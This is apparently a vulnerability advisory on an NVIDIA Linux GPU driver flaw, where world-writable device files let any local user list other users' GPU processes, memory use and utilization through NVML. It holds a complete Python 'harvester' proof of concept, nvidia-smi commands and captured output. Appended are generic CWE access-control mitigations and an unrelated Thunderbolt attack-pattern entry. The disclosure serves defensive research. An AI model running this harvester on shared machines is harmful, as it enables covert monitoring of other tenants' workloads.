authorization)\nStatus: Closed by NVIDIA as expected behavior. No fix. Public\ndisclosure authorized by NVIDIA PSIRT 2026-08-20.\nCVE: none assigned\nRef: Intigriti NVIDIA-W5AB0FZR\nCompanion: \"NVIDIA Linux GPU driver: unprivileged Xid 31 MMU fault via\nundocumented peer-teardown ordering\" - same node, same driver, same\n0666 precondition\n\n\nRoot Cause\n----------\n\nTwo independent facts compound.\n\n(a) /dev/nvidia* is mode 0666 by driver default. This is set by the\nkernel module, not by a site udev rule.\n\n# grep -E \u0027ModifyDeviceFiles|DeviceFileMode|RmProfilingAdminOnly\u0027\n/proc/driver/nvidia/params\nModifyDeviceFiles: 1\nDeviceFileMode: 438\nRmProfilingAdminOnly: 1\n\n438 decimal is 0666 octal. ModifyDeviceFiles: 1 means the module\nrewrites existing device files to match its own defaults, so an\nadministrator who tightens the mode out-of-band can have it reverted\non module reload. The vendor sources agree: open-gpu-kernel-modules\ncarries NV_DEFINE_REG_ENTRY(__NV_DEVICE_FILE_MODE, 0666) in\nkernel-open/nvidia/nv-reg.h with the comment \"The default mode is 0666\n(octal, rw-rw-rw-)\", and the driver README \"Device files\" section\ndocuments UID 0 / GID 0 / Mode 0666 as the default, adding \"Existing\ndevice files are changed if their attributes don\u0027t match these\ndefaults.\"\n\n(b) NVML management APIs apply no UID, cgroup, or capability check to\na caller holding that file descriptor. Any opener receives the\nnode-wide management view.\n\n+------------------+ +-------------------+\n| victim uid 1000 | | attacker uid 1011 |\n| CUDA workload | | no groups, Cap=0 |\n+--------+---------+ +---------+---------+\n| |\n| open(2) /dev/nvidia* (0666) | open(2) /dev/nvidia* (0666)\nv v\n+-----------------------------------------------------------------------+\n| nvidia.ko -\u003e NVML management plane |\n| |\n| nvmlDeviceGetComputeRunningProcesses() -\u003e ALL pids, ALL uids |\n| nvmlDeviceGetProcessUtilization() -\u003e ALL pids, ALL uids |\n| ^ |\n| +--- no ownership check anywhere on this path|\n+-----------------------------------------------------------------------+\n\nNVML already has the concept of privilege-gating this exact call -\njust not in ordinary shared-GPU mode. From nvml.h, on both\nnvmlDeviceGetComputeRunningProcesses_v3 and\nnvmlDeviceGetMPSComputeRunningProcesses_v3:\n\n\"In MIG mode, if device handle is provided, the API returns aggregate\ninformation,\nonly if the caller has appropriate privileges.\"\n\nSo under MIG, process enumeration through the physical-device handle\nis privilege-gated. Outside MIG there is no corresponding UID\nownership boundary. Relatedly, nvmlDeviceGetComputeRunningProcesses_v3\ndocuments NVML_ERROR_NO_PERMISSION in its return list and does not\nreturn it here; nvmlDeviceGetProcessUtilization and\nnvmlDeviceGetMPSComputeRunningProcesses_v3 do not document that error\nat all.\n\nNote RmProfilingAdminOnly: 1 in the same params output. The CUPTI\nperformance-counter plane IS gated behind CAP_SYS_ADMIN on this exact\nnode - that gate was added as the fix for CVE-2018-6260. The NVML\nper-process management plane received no equivalent gate. That\nasymmetry is the finding.\n\n\nAttacker Prerequisites\n----------------------\n\nA shell account on the node. The observer used for all captured runs:\n\nuid=1011(victimuser) gid=1011(victimuser) groups=1011(victimuser)\n\nCapInh: 0000000000000000 -\u003e NONE\nCapPrm: 0000000000000000 -\u003e NONE\nCapEff: 0000000000000000 -\u003e NONE\nCapAmb: 0000000000000000 -\u003e NONE\nCapBnd: 000001ffffffffff\n\nNo sudo. Not in sudo/wheel/admin/docker/video/gpu/render.\nNo Docker socket. Cannot load kernel modules. Cannot ptrace other\nusers\u0027 processes.\n\n\nProof of Concept\n----------------\n\nVictim, uid 1000 - any long-running CUDA workload. The captured runs\nused nccl-tests all_reduce_perf on GPUs 2 and 3. Anything holding a\nCUDA context works; this needs only pytorch:\n\npython3 -c \"import torch,time\nx=torch.randn(8192,8192,device=\u0027cuda\u0027)\nwhile True: x=x@x.clamp(-1,1); torch.cuda.synchronize(); time.sleep(0.01)\"\n\nAttacker, uid 1011, via the shipped CLI:\n\nnvidia-smi --query-compute-apps=pid,process_name,used_gpu_memory\n--format=csv,noheader\nnvidia-smi pmon -c 3\nnvidia-smi nvlink -gt d\n\nThat first command, run by an unprivileged user with no group\nmembership, is the entire exploit. Everything below is the same read\nstraight through NVML. Captured output as uid 1011 against the uid\n1000 victim:\n\npid, process_name, used_gpu_memory [MiB], gpu_uuid\n77977, /usr/local/bin/all_reduce_perf, 2288 MiB,\nGPU-7d4392e5-96fd-7c8d-5dd4-113663cc7278\n77977, /usr/local/bin/all_reduce_perf, 2288 MiB,\nGPU-fe44d319-939f-d747-de55-6802405cad8d\n\nFull PoC code, harnesses and raw evidence for both findings:\n\u003chttps://www.google.com/url?q=https://github.com/abhinavagarwal07/nvidia-gpu-security-poc\u0026source=gmail\u0026ust=1787513712074000\u0026sa=E\u003e\n\nStraight through NVML with no nvidia-smi involved. This is the complete exploit:\n\n#!/usr/bin/env python3\n# unprivileged cross-UID GPU telemetry harvester\n# run as any local user: python3 harvest.py\n# pip install nvidia-ml-py (provides the `pynvml` module; the standalone\n# `pynvml` PyPI package is a deprecated shim as of v12)\nimport os, pwd, pynvml\n\ndef owner(pid):\ntry: return os.stat(\"/proc/%d\" % pid).st_uid\nexcept: return None\n\ndef exe(pid):\n# Tries NVML first. NOTE: this direct call was not verified cross-UID here -\n# see the note below the output. Falls back to cmdline, never to exe.\ntry:\nn = pynvml.nvmlSystemGetProcessName(pid)\nreturn n.decode() if isinstance(n, bytes) else n\nexcept Exception:\n# /proc/\u003cpid\u003e/cmdline is world-readable - this is how ps(1) shows other\n# users\u0027 command lines. /proc/\u003cpid\u003e/exe is NOT: readlink on it needs\n# PTRACE_MODE_READ, which this attacker does not have.\ntry: return open(\"/proc/%d/cmdline\" % pid,\"rb\").read().split(b\"\\0\")[0].decode()\nexcept: return \"?\"\n\ndef owner_name(u):\ntry: return pwd.getpwuid(u).pw_name\nexcept KeyError: return str(u) # no passwd entry: LDAP, containers\n\npynvml.nvmlInit()\nme = os.getuid()\nfound = 0\nfor i in range(pynvml.nvmlDeviceGetCount()):\nh = pynvml.nvmlDeviceGetHandleByIndex(i)\n\n# cross-UID process table + per-process GPU memory\nfor p in pynvml.nvmlDeviceGetComputeRunningProcesses(h):\nu = owner(p.pid)\nif u is not None and u != me:\nfound += 1\nprint(\"[CROSS-UID] gpu=%d pid=%d uid=%d(%s) mem=%dMiB exe=%s\" % (\ni, p.pid, u, owner_name(u),\n(p.usedGpuMemory or 0) \u003e\u003e 20, exe(p.pid)))\n\n# cross-UID per-process SM / memory-controller utilization.\n# arg 2 is lastSeenTimeStamp in microseconds; only samples newer than it are\n# returned, so a small constant drains everything the driver still buffers.\ntry:\nfor pu in pynvml.nvmlDeviceGetProcessUtilization(h, 1000000):\nu = owner(pu.pid)\nif u is not None and u != me:\nprint(\"[CROSS-UID-UTIL] gpu=%d pid=%d uid=%d sm=%d%% mem=%d%%\" % (\ni, pu.pid, u, pu.smUtil, pu.memUtil))\nexcept pynvml.NVMLError as e:\n# NVML_ERROR_NOT_FOUND here means the driver\u0027s sample buffer is empty,\n# NOT that the call is gated. Poll for a few seconds and retry.\nprint(\" nvmlDeviceGetProcessUtilization -\u003e %s\" % e)\n\n# device-global telemetry, no gate at all\nprint(\"[DEV] gpu=%d power=%.1fW util=%d%% mem_used=%dMiB\" % (\ni, pynvml.nvmlDeviceGetPowerUsage(h)/1000.0,\npynvml.nvmlDeviceGetUtilizationRates(h).gpu,\npynvml.nvmlDeviceGetMemoryInfo(h).used \u003e\u003e 20))\n\nif not found:\nprint(\"no cross-UID GPU processes visible (is a victim workload running?)\")\n\nOutput:\n\n[CROSS-UID] gpu=2 pid=77977 uid=1000(cc) mem=2288MiB\nexe=/usr/local/bin/all_reduce_perf\n[CROSS-UID] gpu=3 pid=77977 uid=1000(cc) mem=2288MiB\nexe=/usr/local/bin/all_reduce_perf\n[CROSS-UID-UTIL] gpu=2 pid=77977 uid=1000 sm=97% mem=41%\n\nNVML supplies the PID and the GPU memory figure. The binary path came\nfrom nvidia-smi --query-compute-apps=process_name, which is\nNVML-backed and returned the full path /usr/local/bin/all_reduce_perf\nto the unprivileged observer - that output is captured. The direct\ncall, nvmlSystemGetProcessName(), is what the PoC above uses and it is\nNOT something I captured cross-UID; NVML documents\nNVML_ERROR_NO_PERMISSION for it, so verify it on your own host rather\nthan taking it from me. The captured harness resolved names through\n/proc. Note that /proc/\u003cpid\u003e/exe is not readable cross-UID, so if you\nfall back to procfs use /proc/\u003cpid\u003e/cmdline, not exe. The only field\nprocfs is needed for is the owning UID, via stat() on /proc/\u003cpid\u003e.\n\nPolling nvmlDeviceGetProcessUtilization in a loop yields a per-victim\nSM utilization time series. What that supports on the evidence here is\nbusy-versus-idle and job start/stop. Finer structure - step cadence,\nphase boundaries - is plausible but was not demonstrated, and I do not\nclaim it.\n\nResults: 5/5 positive sessions with all seven machine-scored success\ncriteria passing, and 2/2 negative controls (no victim workload, no\ncross-UID records) confirming the signal tracks the victim. For every\ncompute-app row root could see, the unprivileged observer saw a\nmatching row - same PID, same binary name, same GPU - in all five\npositive sessions. That comparison is field-level (whitespace and row\norder normalized, process name compared by basename), not a byte diff.\nAll channels leak with GPU accounting mode disabled, which is the\nfresh default, so this is not a case of an administrator having\nenabled accounting.\n\n\nTelemetry Channels\n------------------\n\nChannel NVML API CLI Result\n----------------------------- ---------------------------------------\n---------------------- --------------------------\nProcess PID nvmlDeviceGetComputeRunningProcesses --query-compute-apps\nLEAKS (redundant with ps)\nBinary path nvidia-smi\u0027s NVML-backed query --query-compute-apps LEAKS\n(captured); direct\n(nvmlSystemGetProcessName NOT captured) NVML call unverified\nPer-process GPU memory nvmlDeviceGetComputeRunningProcesses\n--query-compute-apps LEAKS - GPU-specific\nPer-process SM utilization nvmlDeviceGetProcessUtilization pmon LEAKS\n- GPU-specific\nNVLink Tx/Rx counters NVML_ERROR_NOT_SUPPORTED on this driver nvlink\n-gt d LEAKS via CLI - prior art\nNVLink topology / remote PCI nvmlDeviceGetNvLinkRemotePciInfo nvlink LEAKS\nDevice power/clocks/util nvmlDeviceGetPowerUsage et al. -q LEAKS (device-global)\n\n\nImpact\n------\n\nA low-privileged tenant on a shared HPC or AI node passively monitors\nco-tenants in real time: who is running GPU work, which binary, the\nGPU memory footprint (a model-size proxy), the SM utilization timeline\n(training and idle cadence, step rate, job boundaries), and NVLink\npair activity (distributed job topology).\n\nNo computation content is read - no weights, a"
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"description": "CWE-276",
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"title": "NVIDIA Linux GPU driver: cross-UID GPU process telemetry via NVML, no CVE (vendor: expected behavior)",
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Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.